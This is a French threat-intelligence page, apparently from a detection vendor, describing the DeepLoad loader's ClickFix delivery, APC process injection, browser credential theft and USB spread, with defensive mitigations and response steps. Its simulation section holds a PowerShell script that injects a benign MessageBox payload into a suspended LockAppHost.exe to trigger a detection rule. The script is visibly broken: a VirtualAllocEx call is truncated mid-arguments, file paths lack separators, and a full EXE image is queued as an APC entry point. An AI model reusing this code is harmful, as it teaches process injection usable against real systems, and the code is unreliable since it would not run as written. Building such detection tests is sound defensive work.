DeepLoad Malware Explication : Livraison ClickFix et Vol d’Identifiants
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
DeepLoad est un chargeur de logiciels malveillants sans fichier observé pour la première fois en mars 2026 qui se propage par une tactique d’ingénierie sociale connue sous le nom de ClickFix, qui persuade les utilisateurs d’exécuter une commande PowerShell malveillante. Une fois exécuté, le chargeur décrypte sa charge utile en mémoire et l’injecte dans des processus Windows de confiance via des appels de procédures asynchrones. Il déploie ensuite un voleur d’identifiants nommé filemanager.exe avec une extension de navigateur malveillante pour voler les mots de passe enregistrés et enregistrer les frappes de clavier. Le logiciel malveillant peut également se propager via des lecteurs USB en déposant de nombreux fichiers de raccourci qui redémarrent la chaîne d’infection sur un autre système.
Enquête
La recherche décrit la commande initiale utilisée pour récupérer le chargeur PowerShell d’un serveur distant, les techniques d’obfuscation appliquées tout au long de l’exécution, et l’injection de processus basée sur l’APC dans des binaires tels que LockAppHost.exe. Elle décrit également les deux composants distincts de vol d’identifiants et la méthode de mouvement latéral basée sur USB qui utilise des fichiers .lnk déguisés en installateurs de logiciels courants. Le rapport fait également référence à des modules de simulation Picus qui peuvent être utilisés pour tester les défenses contre ce comportement.
Atténuation
Les défenseurs devraient bloquer l’exécution de commandes PowerShell non fiables, surveiller la création de tâches planifiées suspectes et l’utilisation anormale de mshta.exe, et appliquer des contrôles stricts d’exécution pour les scripts PowerShell. La détection de l’injection basée sur l’APC, la surveillance des .lnk fichiers sur les supports amovibles, et la limitation du stockage des identifiants dans le navigateur peuvent tous aider à réduire l’impact. Une protection des terminaux capable d’inspecter le décryptage et le comportement d’injection en mémoire est également recommandée.
Réponse
Si une activité de DeepLoad est détectée, isolez immédiatement le terminal affecté, terminez les processus suspects comme filemanager.exe et tous les binaires de confiance montrant des signes d’injection, et supprimez toutes les tâches planifiées créées par le logiciel malveillant. Réinitialisez les identifiants des comptes compromis, scannez les supports amovibles pour déceler des fichiers de raccourci malveillants, et effectuez une analyse forensique pour identifier tout mécanisme de persistance. Les règles de détection doivent également être mises à jour pour couvrir les modèles de ligne de commande observés et les techniques d’injection.
graph TB %% Définitions des classes classDef action fill:#ffcc99 classDef tool fill:#99ccff classDef file fill:#ccffcc classDef malware fill:#ff99cc classDef process fill:#ccccff classDef shortcut fill:#ffff99 classDef extension fill:#ffeb99 %% Nœuds action_user_execution[« <b>Action</b> – <b>T1204.004 Exécution par l’Utilisateur : Copie et Collage Malveillant</b><br/>La victime exécute une commande PowerShell collée depuis une fausse invite ClickFix. »] class action_user_execution action tool_powershell[« <b>Outil</b> – <b>Nom</b>: PowerShell<br/><b>Description</b>: Moteur de script Windows utilisé pour télécharger et exécuter la charge utile.<br/><b>Technique</b>: T1059.001 »] class tool_powershell tool file_loader[« <b>Fichier</b> – <b>Nom</b>: Script chargeur PowerShell<br/><b>Contenu</b>: Variables factices, shellcode chiffré XOR et résolution dynamique d’API. »] class file_loader file action_obfuscation[« <b>Action</b> – <b>T1027 Fichiers ou Informations Obfusqués</b><br/>Utilise des variables factices, chiffrement XOR et résolution dynamique d’API. »] class action_obfuscation action action_reflective_loading[« <b>Action</b> – <b>T1620 Chargement Réfléchissant de Code</b><br/>Déchiffre le shellcode et le charge directement en mémoire. »] class action_reflective_loading action malware_reflective_shellcode[« <b>Malware</b> – <b>Nom</b>: Shellcode en mémoire<br/><b>Comportement</b>: S’exécute après le chargement réfléchi. »] class malware_reflective_shellcode malware shortcut_mod[« <b>Raccourci</b> – <b>T1547.009 Modification de Raccourcis</b><br/>Plus de 40 fichiers .lnk écrits sur USB, déguisés en installateurs. »] class shortcut_mod shortcut action_lnk_icon_smuggling[« <b>Action</b> – <b>T1027.012 Contrebande d’Icônes LNK</b><br/>Les icônes intègrent des charges malveillantes dans les fichiers de raccourci. »] class action_lnk_icon_smuggling action action_taint_shared[« <b>Action</b> – <b>T1080 Contamination de Contenu Partagé</b><br/>Les raccourcis USB se propagent vers d’autres machines lors de l’utilisation du lecteur. »] class action_taint_shared action process_lockapp[« <b>Processus</b> – <b>Nom</b>: LockAppHost.exe »] class process_lockapp process process_makecab[« <b>Processus</b> – <b>Nom</b>: makecab.exe »] class process_makecab process process_magnify[« <b>Processus</b> – <b>Nom</b>: Magnify.exe »] class process_magnify process action_process_injection[« <b>Action</b> – <b>T1055 Injection de Processus / T1055.012 Process Hollowing</b><br/>Le loader injecte du shellcode dans des processus de confiance via APC. »] class action_process_injection action extension_browser[« <b>Extension</b> – <b>T1176 Extensions logicielles</b><br/>Extension de navigateur malveillante installée pour capturer identifiants et cookies. »] class extension_browser extension file_stealer[« <b>Fichier</b> – <b>Nom</b>: filemanager.exe<br/><b>Technique</b>: Vol de crédentiels depuis navigateurs et gestionnaires de mots de passe. »] class file_stealer file action_cred_browser[« <b>Action</b> – <b>T1555.003 Identifiants des navigateurs Web</b><br/>Extrait les mots de passe enregistrés. »] class action_cred_browser action action_cred_manager[« <b>Action</b> – <b>T1555.005 Identifiants des gestionnaires de mots de passe</b><br/>Extrait les mots de passe stockés. »] class action_cred_manager action action_cookie_steal[« <b>Action</b> – <b>T1539 Vol de cookies de session Web / T1185 Détournement de session navigateur</b><br/>Capture les cookies de session via l’extension. »] class action_cookie_steal action %% Connexions action_user_execution –>|exécute| tool_powershell tool_powershell –>|exécute| file_loader file_loader –>|contient| action_obfuscation action_obfuscation –>|active| action_reflective_loading action_reflective_loading –>|charge| malware_reflective_shellcode malware_reflective_shellcode –>|injecte| action_process_injection action_process_injection –>|cible| process_lockapp action_process_injection –>|cible| process_makecab action_process_injection –>|cible| process_magnify action_user_execution –>|crée| shortcut_mod shortcut_mod –>|utilise| action_lnk_icon_smuggling shortcut_mod –>|se propage via| action_taint_shared file_stealer –>|installe| extension_browser file_stealer –>|extrait| action_cred_browser file_stealer –>|extrait| action_cred_manager extension_browser –>|capture| action_cred_browser extension_browser –>|capture| action_cred_manager extension_browser –>|vole| action_cookie_steal
Flux d’attaque
Détections
Téléchargement ou Téléversement via PowerShell (via commande)
Voir
Connexion HTTP de DeepLoad à une IP malveillante [Connexion réseau Windows]
Voir
Détection de l’injection de processus basée sur APC de DeepLoad [Création de processus Windows]
Voir
Exécution de la commande PowerShell du malware DeepLoad [Windows PowerShell]
Voir
Exécution de la simulation
Prérequis : Le contrôle initial de télémétrie et de base a dû être réussi.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et la narration doivent refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narration et commandes de l’attaque :
L’attaquant a délivré un script PowerShell malveillant (le « chargeur ») qui s’exécute dans le contexte de l’utilisateur connecté (Exécution de l’utilisateur – T1204). Le chargeur effectue les étapes suivantes :
- Mettre en place la charge utile – écrit un binaire C compilé (la « charge utile ») dans
%TEMP%. - Créer une instance suspendue d’un processus de confiance (
LockAppHost.exe) en utilisantCreateProcessAavec leCREATE_SUSPENDEDdrapeau. - Injecter la charge utile dans le processus suspendu en appelant
WriteProcessMemorypour copier le binaire dans l’espace d’adresse de la cible. - Mettre en file d’attente un APC (
QueueUserAPC) qui pointe vers le point d’entrée de la charge utile, provoquant l’exécution de la charge utile lorsque le thread cible reprend. - Reprendre le thread, complétant l’injection.
Cette séquence exacte génère un seul événement de création de processus pour
LockAppHost.exedont le SysmonChamp CallTracecontient les trois appels d’API liés à l’injection, satisfaisant la règle Sigma. - Mettre en place la charge utile – écrit un binaire C compilé (la « charge utile ») dans
-
Script de test de régression :
# Simulation d'injection par APC de DeepLoad (PowerShell + compilation C# en mémoire) # -------------------------------------------------------------- # 1. Compiler une charge utile C minimale (MessageBox) en un EXE temporaire $payloadSource = @" #include <windows.h> int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) { MessageBoxA(NULL, "Injecté par DeepLoad", "Succès", MB_OK); return 0; } "@ $tempDir = "$env:TEMPDeepLoadDemo" New-Item -ItemType Directory -Force -Path $tempDir | Out-Null $cFile = "$tempDirpayload.c" $exeFile = "$tempDirpayload.exe" $payloadSource | Set-Content -Path $cFile -Encoding ASCII # Utilisez le compilateur Visual C++ si disponible ; sinon, utilisez Add-Type de PowerShell (crée une DLL, pas un EXE) if (Get-Command cl.exe -ErrorAction SilentlyContinue) { & cl.exe /nologo /O2 /MT $cFile /link /OUT:$exeFile } else { Write-Error "Compilateur C introuvable – compilation manuelle requise." exit 1 } # 2. Préparation de l'injection $targetPath = "C:WindowsSystem32LockAppHost.exe" $STARTUPINFO = New-Object System.Diagnostics.ProcessStartInfo $STARTUPINFO.FileName = $targetPath $STARTUPINFO.Arguments = "" $STARTUPINFO.RedirectStandardOutput = $false $STARTUPINFO.UseShellExecute = $false $proc = New-Object System.Diagnostics.Process $proc.StartInfo = $STARTUPINFO $proc.StartInfo.CreateNoWindow = $true $proc.StartInfo.Verb = "runas" # assurer une élévation si nécessaire # Créer un processus suspendu $pInfo = New-Object System.Diagnostics.ProcessStartInfo $pInfo.FileName = $targetPath $pInfo.Arguments = "" $pInfo.UseShellExecute = $false $pInfo.CreateNoWindow = $true $procStartInfo = [System.Diagnostics.ProcessStartInfo]::new() $procStartInfo.FileName = $targetPath $procStartInfo.Arguments = "" $procStartInfo.UseShellExecute = $false $procStartInfo.CreateNoWindow = $true # Définitions P/Invoke $sig = @" using System; using System.Runtime.InteropServices; public class Native { [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError=true)] public static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, UIntPtr dwData); [DllImport("kernel32.dll", SetLastError=true)] public static extern uint ResumeThread(IntPtr hThread); public const uint CREATE_SUSPENDED = 0x00000004; public const uint MEM_COMMIT = 0x1000; public const uint PAGE_EXECUTE_READWRITE = 0x40; [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public ushort wShowWindow; public ushort cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } } "@ Add-Type $sig # Initialiser les structures $si = New-Object Native+STARTUPINFO $pi = New-Object Native+PROCESS_INFORMATION $si.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($si) # Créer LockAppHost suspendu $created = [Native]::CreateProcessA($null, $targetPath, [IntPtr]::Zero, [IntPtr]::Zero, $false, [Native]::CREATE_SUSPENDED, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $created) { Write-Error "CreateProcessA a échoué : $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())" exit 1 } # Lire le binaire de la charge utile $payloadBytes = [System.IO.File]::ReadAllBytes($exeFile) # Allouer de la mémoire dans la cible $remoteAddr = [Native]::VirtualAllocEx($pi.hProcess, [IntPtr]::Zero, $payloadBytes.Length, if ($remoteAddr -eq [IntPtr]::Zero) { Write-Error "VirtualAllocEx a échoué." exit 1 } # Écrire la charge utile $bytesWritten = [UIntPtr]::Zero $writeOk = [Native]::WriteProcessMemory($pi.hProcess, $remoteAddr, $payloadBytes, $payloadBytes.Length, [ref]$bytesWritten) if (-not $writeOk) { Write-Error "WriteProcessMemory a échoué." exit 1 } # Mettre en file d'attente l'APC (pointant vers le point d'entrée de la charge utile) $apcResult = [Native]::QueueUserAPC($remoteAddr, $pi.hThread, [UIntPtr]::Zero) # Reprendre le thread pour exécuter l'APC [Native]::ResumeThread($pi.hThread) | Out-Null Write-Host "Injection complétée – la charge utile devrait apparaître sous peu." -
Commandes de nettoyage :
# Terminer l'instance LockAppHost injectée (si encore en cours d'exécution) Get-Process -Name "LockAppHost" -ErrorAction SilentlyContinue | Stop-Process -Force # Supprimer les fichiers temporaires Remove-Item -Recurse -Force "$env:TEMPDeepLoadDemo"
Résultats de validation (à remplir après exécution)
- Règle Déclenchée : Oui / Non
- Nombre d’alertes générées : ___
- Vérification des faux positifs : L’exécution bénigne n’a généré aucune alerte (comme confirmé par la requête de validation).
Résumé des recommandations
- Corréler entre les événements – Ajouter une règle secondaire qui surveille les
WriteProcessMemoryorQueueUserAPCévénements se produisant dans un court intervalle de temps après uneLockAppHost.execréation. - Élargir la portée de l’image – Inclure d’autres binaires de confiance couramment abusés pour l’injection APC (par exemple,
svchost.exe,explorer.exe). - Enrichissement comportemental – Signaler les processus qui chargent des DLL non signées ou s’exécutent depuis
%TEMP%après l’injection. - Atténuation de l’évasion – Surveiller les mêmes appels d’API répartis sur plusieurs processus, ce qui passe actuellement à travers la condition d’événement unique.